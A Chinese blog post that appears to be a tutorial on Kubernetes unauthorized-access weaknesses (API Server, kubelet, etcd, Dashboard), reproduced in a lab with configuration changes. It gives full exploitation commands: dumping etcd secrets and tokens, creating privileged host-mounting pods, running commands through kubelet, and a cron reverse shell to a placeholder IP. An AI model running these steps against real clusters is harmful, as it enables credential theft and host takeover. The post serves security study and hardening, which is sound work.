云安全之k8s未授权漏洞总结

devtools/2025/4/1 6:28:33/

一、k8s介绍

在这里插入图片描述
全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大、难以管理的问题,K8s的推出很好的解决了这一问题,并且在容器编排系统中占据领先地位。

Kubernetes 的名字来源于希腊语,意为“舵手”或“领航员”,寓意着它在容器编排领域如同舵手一般,引领着容器化应用的运行(docker的logo是一个运输船)。

Master 节点:

Master节点是 Kubernetes 集群的控制节点,每个 Kubernetes 集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件,是 Kubernetes 集群的“大脑”。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。

在Master节点上,通常会运行以下服务:

  • API Server(kube-apiserver)
    提供 HTTP Rest 接口,处理所有资源的增、删、改、查等操作,是集群控制的入口。
  • etcd
    分布式的键值存储系统,用于保存集群的配置数据和状态信息。
  • Scheduler(kube-scheduler)
    调度器,负责将新创建的 Pod 调度到合适的工作节点上运行,基于资源需求、约束条件等进行调度。
  • Controller Manager(kube-controller-manager)
    控制和管理器,运行多个控制器进程,如节点控制器、复制控制器等,确保集群状态符合期望状态。
Node 节点:

Node节点是Kubernetes集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。

在Node节点上,通常会运行以下服务:

  • kubelet
    运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。
  • kube-proxy
    实现 Kubernetes 服务(Service)的网络代理,负责负载均衡和网络通信。
  • container runtime
    负责运行和管理容器,常见的容器运行时有 Docker、containerd 等。
Pod:

是 Kubernetes 中最小的部署和调度单元。一个 Pod 可以包含一个或多个紧密相关的容器,这些容器共享网络(同一 IP 地址)和存储资源。Pod 设计为临时的,若其中的容器异常退出,Kubernetes 可以通过控制器自动重建它们。

一句话总结:
  • Master:管事的(决策者)
  • Node:干活的(执行者)
  • Pod:干活的工具包(运行单元)

在这里插入图片描述

二、组件接口存在的风险

k8s 中的大多数组件以 HTTP 和 HTTPS 的 API 形式提供服务,常见端口如下:

组件默认端口说明
API Server6443基于 HTTP 的安全端口
API Server8080不安全的 HTTP 端口
Kubelet10248检查健康状态的端口
Kubelet10250面向 API Server 提供服务的 HTTPS 端口
Kubelet10255提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权
Dashboard8001提供 HTTP 服务的端口
etcd2379客户端与服务端之间通信的端口
etcd2380不同服务端之间通信的端口

API Server 未授权访问

默认情况下,Kubernetes API Server 在两个端口提供服务:8080 和 6443

8080: insecure-port #以 HTTP 提供服务,无认证和授权机制,
6443: secure-port #以 HTTPS 提供服务,支持认证和授权服务。

如果配置不当,8080 和 6443端口都会存在未授权访问漏洞,只要网络可达,攻击者就能够通过这两个端口操控集群。

8080端口未授权访问

在较新版本的 Kubernetes 中,8080 端口的 HTTP 服务默认不启动,需要我们手动开启。

vim /etc/kubernetes/manifests/kube-apiserver.yaml

在这里插入图片描述
这里设置为0表示关闭,甚至在高版本的k8s中,直接将--insecure-port这个配置删除了,需要手动添加。

这里将修改为8080,并添加配置

- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet

访问 8080 端口即可看到存在未授权。
在这里插入图片描述

通过 kubectl -s 命令,查看node节点信息以及pod信息

kubectl -s ip:8080 get node
kubectl -s ip:8080:8080 get pod

在这里插入图片描述
执行命令

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash

在这里插入图片描述

在高版本的k8s中,这种方法是不行的,连不上去

获取 service-account-token

/api/v1/namespaces/kube-system/secrets/

在这里插入图片描述
建立特权 Pod,进行逃逸
本地创建 test.yaml 文件,内容如下:

apiVersion: v1
kind: Pod
metadata:name: nginx-deployment
spec:containers:- image: nginx:1.8name: containervolumeMounts:- mountPath: /mntname: testvolumes:- name: testhostPath:path: /
kubect -s https://your-ip:6443/ apply -f test.yaml

创建完成后,进入特权容器bash,然后就是利用挂载的目录写入定时任务,或者 chroot 逃逸了。

chroot /mnt
6443端口未授权访问

如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

正常情况下,直接访问 6443 端口会返回 403
在这里插入图片描述
执行以下命令将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

再次访问
在这里插入图片描述
获取所有Pod列表

/api/v1/namespaces/default/pods 

在这里插入图片描述
获取token

/api/v1/namespaces/kube-system/secrets/

在这里插入图片描述
创建特权容器

POST /api/v1/namespaces/default/pods HTTP/1.1
Host: x.x.x.x:6443
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176{"apiVersion": "v1","kind": "Pod","metadata": {"annotations": {"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name": "sectest","namespace": "default"},"spec": {"containers": [{"image": "nginx:1.14.2","name": "test-4444","volumeMounts": [{"mountPath": "/host","name": "host"}]}],"volumes": [{"hostPath": {"path": "/","type": "Directory"},"name": "host"}]}
}

在这里插入图片描述
可以看到Pod创建成功:
在这里插入图片描述
使用 kubectl 查看所有Pod:

kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 get pods --all-namespaces

用户名和密码随意输入

查看所有Pod状态:

kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 describe pod --all-namespaces

获取bash:

kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 --namespace=default exec -it sectest -- bash

可以通过 chroot 到宿主机shell,或者通过写入定时任务,反弹宿主机shell了。

kubelet API 未授权访问

10250未授权访问

端口 10250 是 Kubernetes 集群中 Kubelet 的默认端口。Kubelet 是 Kubernetes 集群中每个Node 节点上运行的主要“节点代理”,负责Pod对应的容器创建,启动和停止等任务,同时和 Master 节点进行通信,实现集群管理的基本功能。

Kubelet 的配置文件是 /var/lib/kubelet/config.yaml。一般来说,我们在安装 Kubernetes 时会将 --anonymous-auth 设置为 false,并在 authorization 中选择 mode 为 Webhook。前一选项禁止匿名用户访问,后一选项则使 Kubelet 通过 API Server 进行授权(即使匿名用户能够访间,也几乎不具备任何权限)。

但是,一旦 --anonymous-auth 被设置为 true,且 authorization.mode 被设置为 AlwaysAllow 这就非常危险了。
在这里插入图片描述

正常访问,10250端口提示未认证
在这里插入图片描述
修改配置后重启
在这里插入图片描述
在这里插入图片描述
此界面有时会泄露一些账户密码等敏感信息。

执行命令

格式

curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"

这里需要三个参数

namespace:对应metadata.namespace
pod:对应metadata.name
container:对应spec.containers.0.name

通过https://IP:10250/runningpods/ 获取三个参数:
在这里插入图片描述
在这里插入图片描述

10255未授权访问

kubelet 的只读端口,配置不当也会存在未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。

默认情况下 k8s 集群不对外开放10255端口,修改 /var/lib/kubelet/config.yaml,新增如下内容,在最后一行加就行:

readOnlyPort: 10255
address: 0.0.0.0

在这里插入图片描述
重启 kubelet 服务后就能访问了。

获取pods信息
在这里插入图片描述
同样此界面有时会泄露一些账户密码等敏感信息。
在这里插入图片描述

10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。

Etcd 未授权

etcd 默认端口 2379,用于存储 k8s 集群中的所有配置数据和状态信息,如果管理员配置不当,导致 etcd 未授权访问的情况,那么攻击者就可以从 etcd 中获取 secrets&token 等关键信息,进而通过 kubectl 创建恶意 pod 从而接管集群。

在 etcd 的配置文件 /etc/kubernetes/manifests/etcd.yaml 中,--client-cert-auth 默认为 true,这意味着访问 etcd 服务需要携带 cert 进行认证(本地 127.0.0.1 可免认证访问)。

如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。

PS:安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。

Etcd常见风险包括

  1. 启动etcd时,未使用client-cert-auth参数打开证书校验;
  2. Etcd 2379端口公网暴露;
  3. 由于SSRF漏洞导致Etcd 127.0.0.1:2379 可访问;
  4. Etcd cert泄露。

client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。

vi /etc/kubernetes/manifests/etcd.yaml- --client-cert-auth=false- --listen-client-urls=http://0.0.0.0:2379

在这里插入图片描述

查看是否存在未授权访问

https://your-ip:2379/version
-------------
返回如下则存在未授权访问:
{etcdserver: "3.4.3", etcdcluster: "3.4.0"} 
https://your-ip:2379/v2/keys
-------------
返回如下则存在未授权访问:
{"action":"get","node":{"dir":true,"nodes":...}}

攻击过程:

1、下载 etcdctl 工具,以便通过命令行与 etcd 通信。

2、用 etcdctl 3.0 的 API,设置环境变量:

export ETCDCTL_API=3

3、通过命令行连接到目标 etcd 服务,列出存储的数据:

#读取etcd中存储的数据,通过--limit选项限制数量
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2

在这里插入图片描述

#获取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets

在这里插入图片描述

#找到对应的 key 后,再读取对应的值,以/registry/secrets/test/bypass-token-p6xpj为例:
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj

获取高权限服务账号token
在这里插入图片描述

最终的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分。可以使用 curl 验证 token 的有效性:

curl --header "Authorization: Token" -X GET https://your-ip:6443/api -k

通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=[.token.]” -n kube-system get pods

在这里插入图片描述
接下来就可以创建一个恶意 Pod

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ \--token="[your-token]" -n kube-system run malicious-pod \--image=your-malicious-image \--restart=Never \--overrides='{"apiVersion": "v1","spec": {"containers": [{"name": "malicious","image": "your-malicious-image","securityContext": {"privileged": true},"volumeMounts": [{"name": "host","mountPath": "/host"}]}],"hostNetwork": true,"volumes": [{"name": "host","hostPath": {"path": "/","type": "Directory"}}]}}'

说明:

--insecure-skip-tls-verify:跳过 TLS 校验(在实验环境中可能使用)。
--token="[your-token]":用前面获取到的 token 替换 [your-token]。
-n kube-system:在 kube-system 命名空间中运行,通常该命名空间权限较高。
securityContext 的 privileged: true 允许容器拥有更多宿主机权限。
通过 volumeMounts 和 volumes,将宿主机的根目录挂载到容器内,从而可能访问宿主机上的敏感文件或配置。

进入 Pod

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[your-token]" -n kube-system exec -it malicious-pod -- /bin/sh

然后就可以利用挂载的宿主机文件系统,通过计划任务反弹宿主机shell。

Dashboard 未授权访问

k8s 的 Dashboard 是以基于网页的 k8s 用户界面,用户可获得运行在集群中应用的概览信息,并且图形化操纵 k8s 资源。Dashboard默认不安装,并且手动安装后只能通过执行了 kubectl proxy 的机器进行访问,但是当使用的 Dashboard 配置不当,或者部署低版本的 Dashboard 时选择了”跳过”选项,可能会导致一些未授权访问漏洞,此外,通过K8s API,或者集群的单点登录等方式访问 Dashboard。

通过6443端口进行访问:

https://IP:6443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/workloads?namespace=default

在这里插入图片描述
创建一个特权Pod,并且挂载宿主机根路径到/sechost下

配置文件:

apiVersion: v1
kind: Pod
metadata:name: sectest1
spec:containers:- name: hostpath-containerimage: nginx:1.14.1volumeMounts:- name: hostpath-volumemountPath: /sechostvolumes:- name: hostpath-volumehostPath:path: /

16.png
选择创建的Pod,点击执行
17.png
通过计划任务获得宿主机shell

chroot sechost
echo 'bash -i >& /dev/tcp/x.x.x.x/2333 0>&1' > /etc/cron.hourly/test.sh
chmod +x /etc/cron.hourly/test.sh

18.png
或者直接进入特权容器,特权容器可以挂载宿主机磁盘路径到容器中。

fdisk -l
mkdir /sechost
mount /dev/dm-0 /sechost/
chroot /sechost/

19.png

参考文章:
https://www.cnblogs.com/xiaozi/p/17939752
https://zone.huoxian.cn/d/1153-k8s
https://www.sumor.top/2023/06/15/K8s%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF/index.html
https://www.geekby.site/2021/11/k8s%E5%AE%89%E5%85%A8/#21-api-server-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE


http://www.ppmy.cn/devtools/172240.html

相关文章

差参数优化:寻找机器学习的最佳配置

在机器学习中&#xff0c;超参数优化是一个至关重要的环节。超参数是指在模型训练之前需要手动设置的参数&#xff0c;它们直接影响模型的性能。选择合适的超参数可以让模型在数据上表现得更好&#xff0c;而选择不当则可能导致模型过拟合或欠拟合。本文将详细介绍几种常见的超…

Golang使用 ip2region 查询IP的地区信息

利用 ip2region 进行 IP 地址定位 import ("fmt""log""github.com/lionsoul2014/ip2region/binding/golang/xdb" )func main() {ip : "213.118.179.98"dbPath : ".\\cmd\\ip\\ip2region.xdb"// 1、初始化查询器//searcher,…

微服务面试题:配置中心

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

前端知识点---用正则表达式判断邮箱(javascript)

// 全面的正则&#xff08;兼容大多数情况&#xff09; const emailRegex /^[a-zA-Z0-9._%-][a-zA-Z0-9.-]\.[a-zA-Z]{2,}$/;// 或直接使用浏览器内置验证 <input type"email" required>/&#xff1a;正则表达式的起始和结束标志。 ^&#xff1a;匹配字符串的…

基础认证-判断题

判断题 1.在http模块中,多个请求可以使用同一个httpRequest对象,httpRequest对象可以复用。(错误) 2.订阅dataReceiverProgress响应事件是用来接收HTTP流式响应数据。(错误) 3.ArkTS中变量声明时不需要指定相应的类型 (错误) 4.UIAbility组件热启动时会触发onCreate()函…

数仓架构告别「补丁」时代!全新批流一体 Domino 架构终结“批流缝合”

在数字化转型的浪潮中&#xff0c;企业对数据处理的需求日益复杂多变&#xff0c;传统的批处理和流处理架构已难以满足日益增长的性能和时效性要求。在此背景下&#xff0c;YMatrix CEO 姚延栋发布了深度文章《数仓架构告别「补丁」时代&#xff01;全新批流一体 Domino 架构终…

物联网(IoT)系统中,数据采集器拿来即用

在物联网(IoT)系统中,数据采集器(也称为网关或数据集中器)扮演着至关重要的角色,主要负责从各种传感器和设备中收集数据,并将其转换为统一的格式后传输到云端或本地服务器进行处理和分析。以下是关于数据采集器的设计要点、功能需求以及实现方案: 一、数据采集器的核心…

ai-api-union项目,适配各AI厂商api

项目地址&#xff1a;alpbeta/ai-api-union 需求&#xff1a;实现兼容各大模型厂商api的流式对话和同步对话接口&#xff0c;本项目现兼容智谱、豆包、通义、通义版deepseek 设计 一个ChatController类对外暴露这两个接口&#xff0c;入参都为ChatRequest请求类&#xff0c;…